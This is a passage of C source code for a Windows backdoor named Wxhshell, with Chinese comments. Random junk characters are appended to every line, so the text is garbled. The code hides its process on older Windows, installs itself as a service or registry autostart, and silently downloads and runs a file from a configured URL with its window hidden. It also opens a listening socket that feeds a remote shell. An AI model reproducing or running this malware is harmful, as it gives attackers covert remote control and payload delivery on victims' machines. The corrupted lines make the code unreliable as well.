ULONG UniqueProcessId; F" 4;nU
ULONG InheritedFromUniqueProcessId; j |o&T41
} PROCESS_BASIC_INFORMATION; :uC9 #H"b
_+~&t9A!
PROCNTQSIP NtQueryInformationProcess; >hV2p/D
VWzuV&;P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b):aqRwP
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qZv@ULluc
Kltqe5
HANDLE hProcess; Wt=@6w&
PROCESS_BASIC_INFORMATION pbi; v"o@q2f_
3preBs#i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BMV\@Sg
if(NULL == hInst ) return 0; |sP0z !)b
6BM$u v4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S1m5z,G
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ASr@5uFR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AN|f:259
Kc#1H|'2N
if (!NtQueryInformationProcess) return 0; 3f~znO
2iOYC0`!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]D=fvvST
if(!hProcess) return 0; NA`8 ^PZ
g-NrxyTBlx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ra_v+HR7
\=&Z_6Mu
CloseHandle(hProcess); acQHqR
IY
mkZ?cW
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?FV%e
if(hProcess==NULL) return 0; A4b+:MQ*OX
Nw-U*y
HMODULE hMod; dy'lM ;@-
char procName[255]; w|*D{`O
unsigned long cbNeeded; {LCKt/Z>P
x~{W(;`!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kc}|L9
hJz]N$@W
CloseHandle(hProcess); v-Q>I5D;:
5P 5Tgk
if(strstr(procName,"services")) return 1; // 以服务启动 cR*~JwC:
AEElaq.B
return 0; // 注册表启动 ,068IEs
} + ef>ek
0[N1SY\lj
// 主模块 LB}J7yEQvj
int StartWxhshell(LPSTR lpCmdLine) xe3Jxo!U
{ R\/tKZJjb
SOCKET wsl; _5$L`&
BOOL val=TRUE; crSqbL
int port=0; d 3#e7rQ8
struct sockaddr_in door; {SRD\&J[
fE3%$M[V7
if(wscfg.ws_autoins) Install(); $d,{I8d
o#BI_#b
port=atoi(lpCmdLine); uss!E!_%,
kf9]nIo
if(port<=0) port=wscfg.ws_port; imhE=6{
l0g+OMt
WSADATA data; bT|-G2g7Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vGI)c&C>
=wD&hDn4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; yT='V1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Ad`_g6Wew
door.sin_family = AF_INET; ,Ik~E&Ku2'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); `@vksjxu
door.sin_port = htons(port); [~`p~@\+
P4|A\|t
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 141xi;o
closesocket(wsl); bUSa#pNO>
return 1; W{j(=<|<
} N%e^2O)
]&P 4QT)f
if(listen(wsl,2) == INVALID_SOCKET) { *Ue#Sade
closesocket(wsl); 2:e7'}\D.
return 1; CteNJBm
} U9awN&1([
Wxhshell(wsl); eYUq0~3
WSACleanup(); lk
/Ke
ua_,c\iL
return 0; W%o! m,zFM
A0v@L6m-O
} 2d
YU
E]^n\bE%
// 以NT服务方式启动 LZE9]Gd
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jJ,y+o
{ ,wv>G]v
DWORD status = 0; 9JJ6$cLF
DWORD specificError = 0xfffffff; s%6L94\t
C^,J6;'
serviceStatus.dwServiceType = SERVICE_WIN32; }ov>b2H#<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; y6MkaHW[m
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B+pLW/4l
serviceStatus.dwWin32ExitCode = 0; Wvl'O'R
serviceStatus.dwServiceSpecificExitCode = 0; =@X?$>'
serviceStatus.dwCheckPoint = 0; Y@T$O<*
serviceStatus.dwWaitHint = 0; '0&HkM{ D
HsT6 #K
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %kgT=<E'
if (hServiceStatusHandle==0) return; j_0l'S aj
m#RMd,'X
status = GetLastError(); +OtD@lD`!
if (status!=NO_ERROR) ((^vsKT
{ `Ao"fRv#
serviceStatus.dwCurrentState = SERVICE_STOPPED; +$/NTUOP
serviceStatus.dwCheckPoint = 0; #yEkd2Vy{
serviceStatus.dwWaitHint = 0; vu*9(t)EC
serviceStatus.dwWin32ExitCode = status; [ lK`~MlQ
serviceStatus.dwServiceSpecificExitCode = specificError; K2V?[O#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bBGg4{
return; lEb H4 g
} $~?)E;S
^v:XON<
serviceStatus.dwCurrentState = SERVICE_RUNNING; Ay%]l| Gm
serviceStatus.dwCheckPoint = 0; nB5^
serviceStatus.dwWaitHint = 0; g9d/nRX&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q~*|Wd'&
} o? K>ji!
]"j%:fr
// 处理NT服务事件,比如:启动、停止 */$] kE
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,JPDPI/a
{ oU*e=uehj
switch(fdwControl) Y ._Om}H
{ -B-HZ_
case SERVICE_CONTROL_STOP: O(_f&a
serviceStatus.dwWin32ExitCode = 0; O~6AX)|&=
serviceStatus.dwCurrentState = SERVICE_STOPPED; u9]M3>
serviceStatus.dwCheckPoint = 0; zgn`@y2
serviceStatus.dwWaitHint = 0; }wEt=zOJ
{ &._Mh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); NL!xkcXO
} 0TiDQ4}i[
return; ?,[$8V
case SERVICE_CONTROL_PAUSE: gb[.Ww
serviceStatus.dwCurrentState = SERVICE_PAUSED; \\d8ulu
break; RtDTcaW/
case SERVICE_CONTROL_CONTINUE: g|4>S<uC
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^?0?*
break; %(s2{$3
case SERVICE_CONTROL_INTERROGATE: ma"M? aM
break; A v;NQt8ut
}; 1 7iw`@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y'R/|:YL@
} +j$nbU0U
k9VWyq__
// 标准应用程序主函数 ]J/;Xp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6k+tO%{~
{ V=Bmpg
{`Mb ),G
// 获取操作系统版本 )]m4FC:
OsIsNt=GetOsVer(); Uf?+oc'{
GetModuleFileName(NULL,ExeFile,MAX_PATH); gAsjkNt?
87KSV"IU8
// 从命令行安装 I^D*) z
if(strpbrk(lpCmdLine,"iI")) Install(); f&&Ao
VwXR,(
// 下载执行文件 'l-VWqR-
if(wscfg.ws_downexe) { ?4R q +
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LVL#qNIu
WinExec(wscfg.ws_filenam,SW_HIDE); :
>$v@d
} X3ZKN;
EvA8<o
if(!OsIsNt) { " ;\EU4R
// 如果时win9x,隐藏进程并且设置为注册表启动 +hH7|:JQ
HideProc(); &@PAv5iNf
StartWxhshell(lpCmdLine); iA'p!l|P
} 'p%w_VbI
else =H}}dC<)
if(StartFromService()) YC*`n3D|'
// 以服务方式启动 !Uhc jfq`e
StartServiceCtrlDispatcher(DispatchTable); X-j<fX_
else y35e3
// 普通方式启动 CdtwR0
StartWxhshell(lpCmdLine); ^6!8)7b
Lr`Gyl62
return 0; %fh-x(4v
}